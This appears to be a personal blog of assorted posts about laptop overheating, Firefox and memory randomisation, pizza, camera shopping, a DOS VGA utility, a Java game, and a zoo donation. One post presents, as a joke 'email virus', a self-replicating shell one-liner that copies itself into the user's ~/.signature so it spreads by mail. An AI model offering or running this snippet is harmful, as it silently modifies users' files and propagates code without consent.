Lair Of The Multimedia Guru

My acer NB today: Critical temperature reached (101 C), shutting down.
And disablng power management of the HD produces errors after a while, not just today but always.

A little rant to keep my blog from rotting, firefox after 3.0 or so no longer works on kernels that randomize memory allocation a bit. Ones choices are either patching firefox or to disable the randomization for it. And we all know if one application needs all the security layers one can get then its the modern web browsers.
Not to mention how one can be so lame to have such bug open for ages and still not even produce an error message but rather run mmap() munmap() in an infinite loop.

As the little reverse engeneering puzzle has been solved, we need some prize …

flour, olive oil, half a teaspoon sugar, dry yeast and water. No thats not yet the price ^^; And probably not even a half correct pizza dough but i like it and am too lazy to look up what is “correct”.

After rescaling the x,y and z transformation vectors of the dough it becoms flat and roun hmm square?! (… i guess ill file a bugreport about that one later) adding tomato puree and tuna.

Adding gouda cheese and oregano, i should probably have added more cheese but transforming a block of cheese into these stripes is boring and the ready made pizza cheese from supermarket could be more accurately be described by milk+yellow color and thickening agent so that stuff was not an option.

After ~15min at ~493 kelvin

And at last, the pizza was turned into a virtual pizza, which i herein officially give to chrono! The real counterpart has for saftey reasons been quickly ea ehm i mean destroyed, to avoid paradoxes.

Random pictures from around midnight 2007-12-31 / 2008-01-01. Downscaled a little so wordpress autogenerates thumbnails and doesnt randomly refuse the uploads

Being a little bored and too lazy to do any meaningfull work. Ive looked at wikis main page and on that the Paradox of choice caught my eye, thinking its some interresting thing about math like the Axiom of choice is.

After reading the article iam puzzled why something like that is on wikipedia at all. Not to mention how things like that get linked from the front page.

Psychology has together with astrology always been a little astray from science and logic. But that article is really missing the point. Consumers dont have a problem with too many choices, they have a problem with making choices based on lack of information, wrong and irrelevant information (as presented in advertisements).
If one has a small set of products to choose from at the supermarkt one can try them all or at least a significant fraction of them and then in the future choose the best (considering quality, taste, price, …). With more products trying a significant fraction becomes impossible, one has to rely on other means of comparission. With many products thats still dead easy, for example after trying 3 differnt brands of noodles one realzes they all taste the same. So simply choosing the cheapest is the ideal choice. The same is true in a sense for green tea. None of the green teas from supermarkets i tried tastes as good as a random one from a real tea shop. It gets a lot trickier with these frozen, refrigerated, canned or dried, ready made foods there are far too many to try them all. Theres no obvious trend of taste vs. price, not even a reliable taste vs. brand trend. Only thing which has been always true is that cooked by my (grand)mother or myself tastes better :). I think supermarkets really should add some “number of packs sold per month” and “average customer rating” to their price tags.

Supperior (no frozen and dried crap), half finished, yesterday:

Finished (still yesterday)

A few days ago i came up with the idea of replacing my several years old canon digital ixus 30 with something newer and better. Maybe with a more recent canon ixus (called elph SD+somenumber outside europe), heres a summary of what ive found that has changed:

So seems like 3 years isnt enough for canon to improve their (ultra) compact cameras. What about the powershot A series? well i had the A95 for a week but it was simply way too heavy and big also its light sensitivity was not any better than the much smaller canon ixus IIRC. Though at least it had manual controls so the camera did what i wanted. And the fuji F30/F31fd? Well fuji stoped producing them and their replacment the F50fd produces vertical stripes with a nice green magenta gradient over its images, making high ISO unuseable without some cleanup. (noise is one thing but stripes even if they are fainter than the noise just isnt something i want in my images) Also the f50fd is noisier than the f31fd though still significantly less noisy then anything produced by its competitors in that size and weight range that i found.

So suggestions welcome, but it looks like i wont buy any new camera. Capitalism has once again demonstrated that it doesnt work, its not as if the consumer would know which product is best and would thus force the industry to produce better products, its rather that the industry prints irrelevant numbers (megapixels) on the cameras and the consumer buys based on that ignoring all relevant parameters. So the industry just needs to exchange the CCD with one with more megapixels and paint the camera differently instead of improving anything relevant.

Low resolution graphics modes like 320×200 are displayed with doublescan so that each logical line is drawn twice, that way 320×200 is drawn with 400 lines which looks better than 200 on a modern CRT monitor. The reason is that modern CRT monitors are designed to be able to display 1000 or more lines and if they are feeded with just 200 there would be huge black bars between these thin 200 lines, with 400 lines its better but still not good.

VGA600 is a little DOS TSR which i wrote in 1996/1997 to solve this problem, VGA600 does that by monitoring the state of various vga registers and if it detects that the current graphic or text mode can be improved then it improves it by increasing the number of lines and dot clock. So for example 320×200 would be displayed with 600 or 800 lines (which it is depends on the configuration)

Source code under GPL, README and binary are available too

Ive extensively tested VGA600 with doom and quake with a ET4000 PCI card a long time ago ;)

Patches welcome, especially ones porting this to linux and modern vga cards :)

Seeing all the thousends of email viruses in my spam folder, all probably specific to windows, iam wondering why havnt i seen any for linux. Are linux users too intelligent to copy and past unknown code into their terminal or execute a attached executable?

Its not hard to write a email virus for linux, if you dont belive me see the example below. Note, the code is public domain i dont claim any copyright on it. Standard disclaimer: iam not resposible for the consequences of using this code for anything even less so modificated variants of it. Iam just providing this for scientific purposes! Do not use it for any evil!


echo ' echo echo `echo -e \\\47;cat /tmp/t;echo -e \\\47`\>/tmp/t\;. /tmp/t>>~/.signature'>/tmp/t;. /tmp/t


Java sucks, all remotely sane humans know that nowadays, but long long ago i did the unimagineable and volunteerly wrote some small java programs (until i realized how badly java sucks). Todays or actually tonights blog entry is dedicated to one of these, a little Tic-Tac-Toe game, which you should be able to see below in the unlikely case that you have java enabled in your browser

8? years old GPL source is available too, and in case you are wondering the images where created with povray, and yes patches to improve it are welcome ;)

PS: if you win send me a bugreport ;)

You get one of these begging letters from a bunch of animal-rights activists who need some money to safe a few poor animals, well you dont really wonder about from where they know your name and address, after all you live in a corrupto-cracy which protects such personal data …
But the real question is what do you do, donate a few euro to them? I mean the case iam talking about is not about some corrupted spammers but rather the following, quick summary (based on unverified info from the net)

an austrian zoo (safaripark gänserndorf) goes bankrupt somewhere in 2004, over 800 animals need to find a new home, many of them are being bought by animal-rights activist groups or zoos, the politicans and other austrian zoos who should take care of the animals until a new home is found rather fight against each other and try to squeeze money out of the whole while pretending in public that they would work pro bono. In the end there are a few lions and HIV infected monkeys left. The monkeys needs are being paid for by the pharma industry, yeah anyone surprised they care more about the wellfare of the animals than our politicans and other zoos? The lions owned by animal-rights activist group “Vier pfoten” from whom the begging letter was, they also bought some area in south africa for the lions but not surprissingly need more money …

Now why did i write this off topic blog entry? Well iam unsure if i should donate them a few euro or not, i want to help the animals but iam not so sure if what the animal rights activists do really helps anyone. Ive no doubt they have only the best intentions but the question is not dead lion vs. alive lion living in a nice natural environment but rather dead lion vs. a few hundread dead cows, yes lions arent vegetarian also the lions cannot be let loose into true freedom as they have been used to being close to humans. So being part of a working ecosystem where they hunt and kill their pray and by that positively contribute to the evolution of their pray (weakest dies strong survives and reproduces …) isnt possible.

And just in case anyone is curious, i belive its a detestable thing to lock animals into cages for the publics entertainment. Or in other words i hate zoos, thouse running them and thouse who support them (by visiting and thus paying for them).